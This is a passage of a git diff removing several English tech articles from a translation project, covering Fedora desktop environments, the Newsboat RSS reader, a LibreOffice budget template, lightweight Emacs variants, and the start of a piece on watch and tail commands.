-``` - -#### **[icewm][17]** - -``` -Window manager designed for speed, usability, and consistency -https://fedoramagazine.org/icewm-a-really-cool-desktop/ - dnf install icewm - (optional) dnf install icewm-minimal-session -``` - -#### **[jwm][18]** - -``` -Joe's Window Manager -https://opensource.com/article/19/12/joes-window-manager-linux-desktop - dnf install jwm -``` - -#### **[KDE Plasma Desktop][19]** - -``` -The KDE Plasma Workspaces, a highly-configurable graphical user interface which includes a panel, desktop, system icons and desktop widgets, and many powerful KDE applications. -* both X11 and wayland -https://opensource.com/article/19/12/linux-kde-plasma -https://fedoramagazine.org/installing-kde-plasma-5/ - dnf group install "KDE Plasma Workspaces" - (optional) dnf group install "KDE Applications" "KDE Educational applications" "KDE Multimedia support" "KDE Office" "KDE Telepathy" - (optional for wayland) dnf install kwin-wayland plasma-workspace-wayland -``` - -#### **[lumina][20]** - -``` -A lightweight, portable desktop environment -https://opensource.com/article/19/12/linux-lumina-desktop - dnf install lumina-desktop - (optional) dnf install lumina-* -``` - -#### **[LXDE][21]** - -``` -LXDE is a lightweight X11 desktop environment designed for computers with low hardware specifications like netbooks, mobile devices or older computers. -https://opensource.com/article/19/12/lxqt-lxde-linux-desktop - dnf group install "LXDE Desktop" - (optional) dnf group install "LXDE Office" "Multimedia support for LXDE" -``` - -#### **[LXQt][22]** - -``` -LXQt is a lightweight X11 desktop environment designed for computers with low hardware specifications like netbooks, mobile devices or older computers. -https://opensource.com/article/19/12/lxqt-lxde-linux-desktop - dnf group install "LXQt Desktop" - (optional) dnf group install "LXQt Office" "Multimedia support for LXQt" -``` - -#### **[MATE][23]** - -``` -MATE Desktop is based on GNOME 2 and provides a powerful graphical user interface for users who seek a simple easy to use traditional desktop interface. -https://opensource.com/article/19/12/mate-linux-desktop -https://fedoramagazine.org/installing-another-desktop/ - dnf group install "MATE Desktop" - (optional) dnf group install "MATE Applications" -``` - -#### **[musca][24]** - -``` -A simple dynamic window manager fox X - dnf install musca -``` - -#### **[openbox][25]** - -``` -A highly configurable and standards-compliant X11 window manager -https://opensource.com/article/19/12/openbox-linux-desktop -https://fedoramagazine.org/openbox-fedora/ - dnf install openbox - (optional) dnf install openbox-kde openbox-theme-mistral-thin-dark -``` - -#### **[Pantheon][26]** - -``` -The Pantheon desktop environment is the DE that powers elementaryOS. -https://github.com/elementary -https://opensource.com/article/19/12/pantheon-linux-desktop - dnf group install "Pantheon Desktop" - (optional) dnf install elementary-capnet-assist elementary-greeter elementary-shortcut-overlay -``` - -#### **[pekwm][27]** - -``` -A small and flexible window manager -https://opensource.com/article/19/12/pekwm-linux-desktop - dnf install pekwm -``` - -#### **[qtile][28]** - -``` -A pure-Python tiling window manager -https://fedoramagazine.org/5-cool-tiling-window-managers/ - dnf install qtile -``` - -#### **[ratpoison][29]** - -``` -Minimalistic window manager -https://opensource.com/article/19/12/ratpoison-linux-desktop - dnf install ratpoison -``` - -#### **[sawfish][30]** - -``` -An extensible window manager for the X Window System - dnf install sawfish - (optional) dnf install sawfish-pager -``` - -#### **[spectrwm][31]** - -``` -Minimalist tiling window manager written in C - dnf install spectrwm -``` - -#### **[Sugar][32]** - -``` -A software playground for learning about learning. -* Possibly the most unique desktop of this list. - dnf group install "Sugar Desktop Environment" - (optional) dnf group install "Additional Sugar Activities" -``` - -#### **[sway][33]** - -``` -i3-compatible window manager for Wayland -* Wayland only -https://fedoramagazine.org/setting-up-the-sway-window-manager-on-fedora/ -https://fedoramagazine.org/5-cool-tiling-window-managers/ - dnf install sway -``` - -#### **[twm][34]** - -``` -X.Org X11 twm window manager -https://en.wikipedia.org/wiki/Twm -https://opensource.com/article/19/12/twm-linux-desktop - dnf install xorg-x11-twm -``` - -#### **[WindowMaker][35]** - -``` -A fast, feature rich Window Manager -https://opensource.com/article/19/12/linux-window-maker-desktop - dnf install WindowMaker - (optional) dnf install WindowMaker-extra -``` - -#### **[wmx][36]** - -``` -A really simple window manager for X - dnf install wmx -``` - -#### **[XFCE][37]** - -``` -A lightweight desktop environment that works well on low end machines. -https://opensource.com/article/19/12/xfce-linux-desktop - dnf group install "Xfce Desktop" - (optional) dnf group install "Applications for the Xfce Desktop" "Extra plugins for the Xfce panel" "Multimedia support for Xfce" "Xfce Office" -``` - -#### **[xmonad][38]** - -``` -A tiling window manager - dnf install xmonad - (optional) dnf install xmonad-mate -``` - -* * * - -_Photo by [Annie Spratt][39] on [Unsplash][40]._ - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedoras-gaggle-of-desktops/ - -作者:[Troy Dawson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/tdawson/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/01/gaggle-desktops-816x345.jpg -[2]: https://github.com/9wm/9wm -[3]: https://awesomewm.org/ -[4]: https://github.com/bbidulock/blackboxwm -[5]: https://github.com/baskerville/bspwm -[6]: https://byobu.org/ -[7]: https://github.com/linuxmint/cinnamon -[8]: https://github.com/leahneukirchen/cwm -[9]: https://www.deepin.org/en/dde/ -[10]: http://dwm.suckless.org/ -[11]: https://www.enlightenment.org/ -[12]: http://fluxbox.org/ -[13]: https://github.com/fvwmorg/fvwm -[14]: https://www.gnome.org/ -[15]: http://herbstluftwm.org/ -[16]: https://i3wm.org/ -[17]: https://ice-wm.org/ -[18]: http://joewing.net/projects/jwm/ -[19]: https://kde.org/ -[20]: https://lumina-desktop.org/ -[21]: https://lxde.org/ -[22]: https://lxqt.org/ -[23]: https://mate-desktop.org/ -[24]: https://github.com/enticeing/musca -[25]: http://openbox.org -[26]: https://elementary.io/ -[27]: http://www.pekwm.org/ -[28]: http://qtile.org -[29]: http://www.nongnu.org/ratpoison/ -[30]: http://sawfish.wikia.com/ -[31]: https://github.com/conformal/spectrwm -[32]: https://sugarlabs.org/ -[33]: https://github.com/swaywm/sway -[34]: https://www.x.org/releases/X11R7.6/doc/man/man1/twm.1.xhtml -[35]: http://www.windowmaker.org -[36]: http://www.all-day-breakfast.com/wmx/ -[37]: https://www.xfce.org/ -[38]: https://hackage.haskell.org/package/xmonad -[39]: https://unsplash.com/@anniespratt?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[40]: https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20200228 Revive your RSS feed with Newsboat in the Linux terminal.md b/sources/tech/20200228 Revive your RSS feed with Newsboat in the Linux terminal.md deleted file mode 100644 index 27a8d6ecbd..0000000000 --- a/sources/tech/20200228 Revive your RSS feed with Newsboat in the Linux terminal.md +++ /dev/null @@ -1,152 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Revive your RSS feed with Newsboat in the Linux terminal) -[#]: via: (https://opensource.com/article/20/2/newsboat) -[#]: author: (Scott Nesbitt https://opensource.com/users/scottnesbitt) - -Revive your RSS feed with Newsboat in the Linux terminal -====== -Newsboat is an excellent RSS reader, whether you need a basic set of -features or want your application to do a whole lot more. -![Boat on the ocean with Creative Commons sail][1] - -Psst. Word on the web is that RSS died in 2013. That's when Google pulled the plug on Google Reader. - -Don't believe everything that you hear. RSS is alive. It's well. It's still a great way to choose the information you want to read without algorithms making the decision for you. All you need is the [right feed reader][2]. - -Back in January, Opensource.com Correspondent [Kevin Sonney][3] introduced a nifty terminal RSS reader [called Newsboat][4]. In his article, Kevin scratched Newsboat's surface. I figured it was time to take a deeper dive into what Newsboat can do. - -### Adding RSS feeds to Newsboat - -As Kevin writes, "installing Newsboat is pretty easy since it is included with most distributions (and Homebrew on macOS)." You can, as Kevin also notes, import a [file containing RSS feeds][5] from another reader. If this is your first kick at the RSS can or it's been a while since you've used an RSS reader, chances are you don't have one of those files handy. - -Not to worry. You just need to do some copying and pasting. Go to the folder **.newsboat** in your **/home** directory. Once you're there, open the file **urls** in a text editor. Then, go to the websites you want to read, find the links to their RSS feeds, and copy and paste them into the **urls** file. - -![Newsboat urls file][6] - -Start Newsboat, and you're ready to get reading. - -### Reading your feeds - -As Kevin Sonney points out, you refresh your feeds by pressing the **r** or **R** keys on your keyboard. To read the articles from a feed, press **Enter** to open that feed and scroll down the list. Then, press **Enter** to read an item. - -![Newsboat reading][7] - -Return to the list of articles by pressing **q**. Press **q** again to return to your list of feeds. - -Every so often, you might run into a feed that shows just part of an article. That can be annoying. To get the full article, press **o** to open it in your desktop's default web browser. On my desktop, for example, that's Firefox. You can change the browser Newsboat works with; I'll explain that below. - -### Following links - -Hyperlinking has been a staple of the web since its beginnings at CERN in the early 1990s. It's hard to find an article published online that doesn't contain at least a couple of links that point elsewhere. - -Instead of leaving links embedded in an article or post, Newsboat gathers them into a numbered list at the end of the article or post. - -![Hyperlinks in Newsboat][8] - -To follow a link, press the number beside it. In the screenshot above, you'd press **4** to open the link to the homepage of one of the contributors to that article. The link, as you've probably guessed, opens in your default browser. - -### Using Newsboat as a client for other feed readers - -You might use a web-based feed reader, but might also want to read your RSS feeds in something a bit more minimal on your desktop. Newsboat can do that. - -It works with several feed readers, including The Old Reader, Inoreader, Newsblur, Tiny Tiny RSS, FeedHQ, and the newsreader apps for [ownCloud][9] and [Nextcloud][10]. Before you can read feeds from any of them, you'll need to do a little work. - -Go back to the **.newsboat** folder in your **/home** directory and create a file named **config**. Then add the settings that hook Newsboat into one of the RSS readers it supports. You can find more information about the specific settings for each reader in [Newsboat's documentation][11]. - -Here's an example of the settings I use to connect Newsboat with the newsreader app in my instance of Nextcloud: - - -``` -urls-source "ocnews" -ocnews-url "" -ocnews-login "myUserName" -ocnews-password "NotTellingYouThat!" -``` - -I've tested this with Nextcloud, The Old Reader, Inoreader, and Newsblur. Newsboat worked seamlessly with all of them. - -![Newsboat with The Old Reader][12] - -### Other useful configuration tricks - -You can really unleash Newsboat's power and flexibility by tapping into [its configuration options][13]. That includes changing text colors, the order Newsboat sorts feeds, where it saves articles, the length of time Newsboat keeps articles, and more. - -Below are a few of the options I've added to my configuration file. - -#### Change Newsboat's default browser - -As I mentioned a few paragraphs back, Newsboat opens articles in your default graphical web browser. If you want to read feeds in a [text-only browser][14] like w3m or ELinks, add this to your Newsboat configuration file: - - -``` -`browser "/path/to/browser %u"` -``` - -In my configuration file, I've set w3m up as my browser: - - -``` -`browser "/usr/bin/w3m %u"` -``` - -![Newsboat with w3m][15] - -#### Remove read articles - -I like an uncluttered RSS feed. That means getting rid of articles I've already read. Add this setting to the configuration file to have Newsboat do that automatically: - - -``` -`show-read-feeds  no` -``` - -#### Refresh feeds at launch - -Life gets busy. Sometimes, I go a day or two without checking my RSS feeds. That means having to refresh them after I fire Newsboat up. Sure, I can press **r** or **R**, but why not have the application do it for me? I've added this setting to my configuration file to have Newsboat refresh all of my feeds when I launch it: - - -``` -`refresh-on-startup  yes` -``` - -If you have a lot of feeds, it can take a while to refresh them. I have around 80 feeds, and it takes over a minute to get new content from all of them. - -### Is that everything? - -Not even close. In addition to all of its configuration options, Newsboat also has a number of command-line switches you can use when you fire it up. Read more about them in the [documentation][16]. - -On the surface, Newsboat is simple. But a lot of power and flexibility hides under its hood. That makes Newsboat an excellent RSS reader for anyone who needs a basic set of features or for someone who needs their RSS reader to do a whole lot more. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/newsboat - -作者:[Scott Nesbitt][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/scottnesbitt -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/CreativeCommons_ideas_520x292_1112JS.png?itok=otei0vKb (Boat on the ocean with Creative Commons sail) -[2]: https://opensource.com/article/17/3/rss-feed-readers -[3]: https://opensource.com/users/ksonney -[4]: https://opensource.com/article/20/1/open-source-rss-feed-reader -[5]: https://en.wikipedia.org/wiki/OPML -[6]: https://opensource.com/sites/default/files/uploads/newsboat-urls-file.png (Newsboat urls file) -[7]: https://opensource.com/sites/default/files/uploads/newsboat-reading.png (Newsboat reading) -[8]: https://opensource.com/sites/default/files/uploads/newsboat-links.png (Hyperlinks in Newsboat) -[9]: https://github.com/owncloudarchive/news -[10]: https://github.com/nextcloud/news -[11]: https://newsboat.org/releases/2.18/docs/newsboat.html#_newsboat_as_a_client_for_newsreading_services -[12]: https://opensource.com/sites/default/files/uploads/newsboat-oldreader.png (Newsboat with The Old Reader) -[13]: https://newsboat.org/releases/2.18/docs/newsboat.html#_example_configuration -[14]: https://opensource.com/article/16/12/web-browsers-linux-command-line -[15]: https://opensource.com/sites/default/files/uploads/newsboat-read-with-w3m.png (Newsboat with w3m) -[16]: https://newsboat.org/releases/2.18/docs/newsboat.html diff --git a/sources/tech/20200302 Using LibreOffice for your open source budgeting tool.md b/sources/tech/20200302 Using LibreOffice for your open source budgeting tool.md deleted file mode 100644 index 9d26ff39c7..0000000000 --- a/sources/tech/20200302 Using LibreOffice for your open source budgeting tool.md +++ /dev/null @@ -1,168 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using LibreOffice for your open source budgeting tool) -[#]: via: (https://opensource.com/article/20/3/libreoffice-open-source-budget) -[#]: author: (Jess Weichler https://opensource.com/users/cyanide-cupcake) - -Using LibreOffice for your open source budgeting tool -====== -Figure out where your money is going with this LibreOffice Calc budget -template. -![scientific calculator][1] - -Budgets can be intimidating for beginners. It can feel overwhelming to think about money, much less about how to keep track of it. But it's important to know where your money is coming and going. - -In this article, I'll step through a sample budget by explaining the logic behind important money decisions as well as the formulas you need to automate the process. Fortunately, LibreOffice makes it easy for anyone to keep their yearly budget in check, even the math-averse. - -### Getting started - -Begin by downloading and installing [LibreOffice][2], if you don't already have it. Next, download my [LibreOffice Calc template][3], which you can use as a starting point to create your own budget to meet your spending and savings goals. - -It's important to interact with your spreadsheet frequently. You can input transactions as they happen, daily, or weekly. You even could save up your receipts to calculate all your expenses at the end of the month, but this can be a hard slog. You want budgeting to be as quick and easy as possible. - -### Categories - -The first step to creating a budget is to decide on the categories you want to track. These categories can be as simple or as complex as you like. Think about what is useful to your personal situation and financial goals. You can easily add or change categories as your needs change. - -The template has a number of example categories you can start with. There is no right or wrong way to choose categories; your budget has to work for you. Look through the list in Column A of the **Budget** tab and decide which ones to keep, which to delete, and any others you want to add. Then edit that list to align with your personal income and expense situation. - -#### Create category drop-down menus - -![Budget categories][4] - -The template uses a drop-down menu to make it easy to assign categories to income and expenses. You can view them on the **Monthly** sheets (accessed with the tabs at the bottom of the LibreOffice window). Click on a cell in Column C, and a drop-down arrow will appear on the right. Click the arrow, and you'll see the example categories. You may need to change some of them so that they will match the categories in your budget (Column A of the **Budget** tab). - -To add or remove categories from the dropdown menu, click on Column C in a Monthly sheet to select all **Category** cells. Then, in the main menu, select **Data** > **Validity**. This opens up a dialog box. - -In **Validity**, select the **Criteria** tab, then click on the arrow to the right of **Allow**, set it to **List**, and type the categories you want to use in the **Entries** box. Type one category per line. Make sure to use the exact same categories you used on the **Budget** sheet in Column A. - -### Estimating your budget - -Once you have defined your categories, it's time to estimate how much you expect to earn and spend. You can calculate these amounts monthly, yearly, or using a mix of the two. - -Your first year of budgeting estimates won't be perfect, and you may be surprised at how much or little you spend on certain categories. But doing this will help you get a realistic idea of where your money is going. You can make adjustments in your second year to create a more accurate budget based upon what you spend in year one. - -In Column B (**Monthly Estimate**) of the **Budget** tab, enter your anticipated _monthly_ income and expenses for each category (an exception is the **Charity** row, which is automatically calculated as a percentage of your income). For _annual_ expenses and income (e.g., taxes, insurance, tuition, etc.), enter them in Column P (**Yearly Estimate**). - -#### Calculating the annual cost of monthly expenses - -Most expenses occur monthly. To find the yearly cost of a monthly expense, multiply your monthly estimate by 12. You could do this manually for each category, but it is much easier to use formulas. - -Formulas are automated calculations that determine the value of a cell. Formulas do all the heavy lifting, so you don't have to do a lot of sums in your head. - -In the template, you can use the **Yearly Estimate** column to make an equation to annualize a monthly expense or income. In a cell in Column P, type this: - - -``` -`=SUM(x*12)` -``` - -but change _x_ to the name of the **Monthly Estimate** cell you want to use. (For example, to calculate the annual cost of your phone service using the template, the formula would read **=SUM(B12*13)**.) - -#### Calculating the monthly cost of yearly expenses - -You may pay some expenses, such as car insurance, only once a year. You can either ignore these expenses in the monthly estimates or put money aside for them in your budget each month. - -If you want to do the latter, you need to divide your **Yearly Estimate** by 12 and put that amount into your monthly budget. To do so, place this equation in the appropriate cell in the **Monthly Estimate** column: - - -``` -`=SUM(x/12)` -``` - -where _x_ is the corresponding **Yearly Estimate** cell on your spreadsheet (from Column P). - -#### Finding percentages - -If you want to donate or save a percentage of your income, there's a function for that, too! - -The common recommendation is to put aside 20% of your take-home pay for savings. While I don't focus on this too much, I do find it helpful to see if I'm meeting my savings goals from month to month. - -For instance, Row 32 of the **Budget** tab template uses this formula to calculate the 20% of your income that you should allocate to savings: - - -``` -`=SUM(B2*0.2)` -``` - -This same method can be used if you give a percentage (e.g., 10%) of your income to charity (Row 21 of the template): - - -``` -`=SUM(B2*-0.1)` -``` - -This formula uses a negative percentage because donating to charity is an expense. - -### Entering monthly income and expenses - -The template pulls data totals from the **Monthly** sheets (the tabs at the bottom of the spreadsheet) to populate Columns C through N on the **Budget** sheet. - -It's useful to place each month's transactions on separate sheets of your budget spreadsheet. By keeping your receipts from purchases and entering them into each month's sheet, you create a digital record of your money. - -Enter income as positive numbers and expenses as negative numbers. Select the appropriate category using the drop-down in the **Category** column. - -In LibreOffice, the **SUMIF** function can look at values in a specific column and extract only the ones that occur next to a specific word. My template uses a **SUMIF** formula to extract values based on the adjacent category in order to enter an amount in the correct cell on the **Budget** tab. For example, to enter January's internet expenses into the **Budget** spreadsheet, enter this formula in cell C12: - - -``` -`=SUMIF(january.$C:$C,A12,january.$D:$D)` -``` - -This looks at January's Column C and, if it sees an entry that contains the word in A12 on the **Budget** tab (Internet), then it extracts the number from Column D on the **January** tab and enters that value into the cell that contains the formula on the **Budget** tab (C12). - -### Analyzing your budget data - -#### Adding a range of numbers to calculate YTD spending - -To see how much you have spent overall this year to date (YTD), select the cell where you want to display that data (in the template, it's cell O29, under the **YTD** column), and enter the following formula to total the range of numbers corresponding to your monthly **Total Expense**: - - -``` -`=SUM(x:y)` -``` - -Instead of _x_ and _y_, enter the first cell and the last cell in the range. You can type them in manually, but it's easier and less error-prone to just click and drag from the first to last cell. LibreOffice does the calculation and enters the appropriate values. - -#### Seeing how you're doing on your budget - -A big part of budgeting is comparing your estimates to your actual income and expenses. In the template, this is the **Budget** tab's Column Q. This column subtracts the contents of each cell in Column O (**YTD**) from Column P (**Yearly Estimate**).  - - -``` -`=SUM(x-y)` -``` - -where _x_ and _y_ equal the corresponding cells from Column P and O. For example, using the template to calculate how much you've spent on Utilities compared to your budget, you would enter **=SUM(P11-O11)**. - -![Budget overview][5] - -### Tracking expenses - -Now that your yearly budget is set up, you are ready to start meeting your financial goals. - -It's important to look at your budget often—and it's equally important to do so without guilt. Think of this process as gathering data so that you can adjust your estimates for the next year. The primary goal of budgeting is to understand your own spending habits and refine either your expectations or your behavior so that you can plan better for how your income is used. - -Which open source tools and apps do you use to budget? Tell us in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/libreoffice-open-source-budget - -作者:[Jess Weichler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cyanide-cupcake -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/calculator_money_currency_financial_tool.jpg?itok=2QMa1y8c (scientific calculator) -[2]: https://www.libreoffice.org/download/download/ -[3]: https://opensource.com/sites/default/files/uploads/budget_template_0.ods -[4]: https://opensource.com/sites/default/files/uploads/imagebudget_cat.png (Budget categories) -[5]: https://opensource.com/sites/default/files/uploads/imagebudget_overview.png (Budget overview) diff --git a/sources/tech/20200303 Getting started with lightweight alternatives to GNU Emacs.md b/sources/tech/20200303 Getting started with lightweight alternatives to GNU Emacs.md deleted file mode 100644 index 5f86c79b84..0000000000 --- a/sources/tech/20200303 Getting started with lightweight alternatives to GNU Emacs.md +++ /dev/null @@ -1,164 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Getting started with lightweight alternatives to GNU Emacs) -[#]: via: (https://opensource.com/article/20/3/lightweight-emacs) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Getting started with lightweight alternatives to GNU Emacs -====== -Slimmed-down (in size and features) alternatives allow you to take your -text editor anywhere you go. -![Text editor on a browser, in blue][1] - -I work on a lot of servers, and sometimes I find a host that hasn't installed [GNU Emacs][2]. There's usually a [GNU Nano][3] installation to keep me from resorting to [Vi][4], but I'm not used to Nano the way I am Emacs, and I inevitably run into complications when I try to save my document (**C-x** in Nano stands for Exit, and **C-s** locks Konsole). - -While it would be nice to have GNU Emacs available everywhere, it's a lot of program for making a simple update to a config file. My need for a small and lightweight emacs is what took me down the path of discovering MicroEmacs, Jove, and Zile—tiny, self-contained [emacsen][5] that you can put on a thumb drive, an SD card, and nearly any server, so you'll never be without an emacs editor. - -### Editing macros - -The term "emacs" is a somewhat generic term in the way that only open source produces, and a portmanteau. Before there was [GNU Emacs][6], there were collections of batch process scripts (called _macros_) that could perform common tasks for a user. For instance, if you often found yourself typing "teh" instead of "the," you could either go in and correct each one manually (no small feat when your editor can't even load the entire document into memory, as was often the case in the early 1980s), or you could invoke a macro to perform a quick swap of the "e" and "h." - -Eventually, these macros were bundled together into a package called editing macros, or EMACS for short. GNU Emacs is the most famous emacsen (yes, the -en suffix is used to describe many emacs, as in the word "oxen"), but it's not the only one. And it's certainly not the smallest. Quite the contrary, GNU Emacs is probably one of the largest. - -Fortunately, GNU Emacs is so popular that other emacs implementations tend to mimic most of the GNU version's basic controls. If you're looking for a basic, fast, and efficient editor that isn't Vim, you'll likely be happy with any of these options. - -### MicroEmacs - -![µemacs][7] - -[MicroEmacs][8], also known as uemacs (as in the Greek letter µ, which denotes "micro" in scientific notation), was written by Dave Conroy, but there's a long list of users who have cloned it and modified it. One user who maintains a personal version of µemacs is a programmer named Linus Torvalds, and his copy is available from his website, [kernel.org][9] (which also, incidentally, includes a small side project of his called [Linux][10]). - -#### Size - -It takes me five seconds to compile µemacs at the slowest setting I can impose on my computer, and the resulting binary is a mere 493KB. Admittedly, that's not literally "micro" compared to the typical size of a GNU Emacs download (1 millionth of 70MB is 70 bytes, by my calculation), but it's respectably small. For instance, it's easy enough to send it to yourself by email or over Signal, and certainly small enough to keep handy on every thumb drive or SD card you own. - -By default, Linus's version expects libcurses, but you can override this setting in the Makefile so that it uses libtermcap instead. The resulting binary is independent enough to run on most Linux boxes: - - -``` -$ ldd em -linux-vdso.so.1 -libtermcap.so.2 => /lib64/libtermcap.so.2 -libc.so.6 => /lib64/libc.so.6 -/lib64/ld-linux-x86-64.so.2 -``` - -#### Features - -The [keyboard shortcuts][11] are just as you'd expect. You can open files and edit them without ever realizing you're not in GNU Emacs. - -Some advanced features are missing. For instance, there's no vertical buffer split, although there is a horizontal split. There's no eval command, so you won't use µemacs for Lisp programming. - -The search function is also a little different from what you may be used to: instead of **C-s**, it's **M-s**, which could make all the difference if your terminal emulator accepts **Ctrl+S** as a freeze command. The help page for µemacs is very complete, so use **M-x help** to get familiar with what it has available. - -#### License - -The license for µemacs is custom to the project with a non-commercial condition. You're free to share, use, and modify µemacs, but you can't do anything commercial with it. -While not as liberal a policy as I typically prefer, it's a good-enough license for personal use; just don't build a business around it. - -### GNU Zile - -![GNU Zile][12] - -[GNU Zile][13] claims to be a development kit for text editors. It's meant as a framework to enable people to quickly develop their own custom text editor without having to reinvent common data structures. It's a great idea and probably very useful, but as I have no interest in making my own editor, I just use the example implementation that ships with its codebase as a pleasant, lightweight emacs. - -The build process for the example editor (supposedly called Zemacs, although the binary it renders is named zile) is the standard [Autotools][14] procedure: - - -``` -$ ./configure -$ make -``` - -#### Size - -Compiling it from source takes me a minute on one core or about 50 seconds on six cores (the configuration process is the long part). The binary produced in the end is 1.2MB, making this the heaviest of the lightweight emacsen I use, but compared to even GNU Emacs without X (which is 14MB on my system), it's relatively trivial. - -Of the lightweight emacsen I use, it's also the most complex. You can exclude some library links by disabling features during configuration, but here are the defaults: - - -``` -$ ldd src/zile -linux-vdso.so.1 -libacl.so.1 => /lib64/libacl.so.1 -libncurses.so.5 => /lib64/libncurses.so.5 -libgc.so.1 => /usr/lib64/libgc.so.1 -libc.so.6 => /lib64/libc.so.6 -libattr.so.1 => /lib64/libattr.so.1 -libdl.so.2 => /lib64/libdl.so.2 -libpthread.so.0 => /lib64/libpthread.so.0 -/lib64/ld-linux-x86-64.so.2 -``` - -#### Features - -Zile acts a little more like GNU Emacs than µemacs or Jove, but it's still a minimal experience. But some little touches are refreshing: Tab completion happens in a buffer, you can run shell commands from the mini-buffer, and you have a good assortment of functions available. It's by no means a GNU Emacs replacement, though, and if you wander too far in search of advanced features, you'll find out why it's only 1.2MB. - -I've been unable to find in-application help files, and the man page bundled with it is minimal. However, if you're comfortable with Emacs, Zile is a good compromise between the full 14MB (or greater, if you're using a GUI) version and the extremely lightweight implementations. - -### Jove - -![Jove][15] - -[Jove][16] was my first tiny emacs and remains the smallest I've found yet. This was an easy discovery for me, as it ships with [Slackware][17] Linux and, with a surreptitious symlink, quickly became my personal replacement for the Vi binary. Jove is based on GNU Emacs, but the man page cautions that feature parity is by no means to be expected. I find Jove surprisingly feature-rich for such a small binary (in fact, this article was written in Jove version 4.17.06-9), but there's no question that renaming .emacs to .joverc does _not_ behave as you might hope. - -#### Size - -It takes me five seconds to compile Jove at the slowest setting (-j1) and about a second using all cores. The resulting binary, confusingly called jjove by default, is just 293KB. - -The Jove binary is independent enough to run on most Linux boxes: - - -``` -$ ldd jjove -linux-vdso.so.1 -libtermcap.so.2 => /lib64/libtermcap.so.2 -libc.so.6 => /lib64/libc.so.6 -/lib64/ld-linux-x86-64.so.2 -``` - -#### Features - -Jove has good documentation in the form of a man page. You can also get a helpful listing of all available commands by typing **M-x ?** and using the Spacebar to scroll. If you're entirely new to emacs, you can run **teachjove** to learn Jove (and emacs, accordingly). - -Most common editing commands and keybindings work as expected. Some oddities exist; for example, there's no vertical split, and Tab completion for paths in the mini-buffer is non-existent. However, it's the smallest emacs I've found and yet has a full GNU Emacs feel to it. - -### Try Emacs - -If you've only ever tried GNU Emacs, then you might find that the world of emacsen is richer than you may have expected. There's a rich tradition behind emacs, and trying some of its variants, spin-offs, and alternate implementations is part of the joy of being comfortable with how emacsen work. Get to know emacs; carry a few builds around everywhere you go, and you'll never have to use a substandard editor again! - -GNU Emacs can be much more than just a text editor. Learn how to get started. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/lightweight-emacs - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) -[2]: https://www.gnu.org/software/emacs/ -[3]: https://www.nano-editor.org/ -[4]: https://opensource.com/article/19/3/getting-started-vim -[5]: https://www.emacswiki.org/emacs/Emacsen -[6]: https://opensource.com/article/20/2/who-cares-about-emacs -[7]: https://opensource.com/sites/default/files/uploads/lightweight-emacs-uemacs.jpg (µemacs) -[8]: https://en.wikipedia.org/wiki/MicroEMACS -[9]: https://git.kernel.org/pub/scm/editors/uemacs/uemacs.git -[10]: https://opensource.com/tags/linux -[11]: https://opensource.com/downloads/emacs-cheat-sheet -[12]: https://opensource.com/sites/default/files/uploads/lightweight-emacs-zile.jpg (GNU Zile) -[13]: https://www.gnu.org/software/zile/ -[14]: https://opensource.com/article/19/7/introduction-gnu-autotools -[15]: https://opensource.com/sites/default/files/uploads/lightweight-emacs-jove.jpg (Jove) -[16]: https://opensource.com/article/17/1/jove-lightweight-alternative-vim -[17]: http://slackware.com diff --git a/sources/tech/20200303 Watching activity on Linux with watch and tail commands.md b/sources/tech/20200303 Watching activity on Linux with watch and tail commands.md deleted file mode 100644 index 15780a5b34..0000000000 --- a/sources/tech/20200303 Watching activity on Linux with watch and tail commands.md +++ /dev/null @@ -1,148 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Watching activity on Linux with watch and tail commands) -[#]: via: (https://www.networkworld.com/article/3529891/watching-activity-on-linux-with-watch-and-tail-commands.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -Watching activity on Linux with watch and tail commands -====== -The watch and tail commands can help monitor activity on Linux systems. This post looks at some helpful ways to use these commands. -Loops7 / Getty Images - -The **watch** and **tail** commands provide some interesting options for examining activity 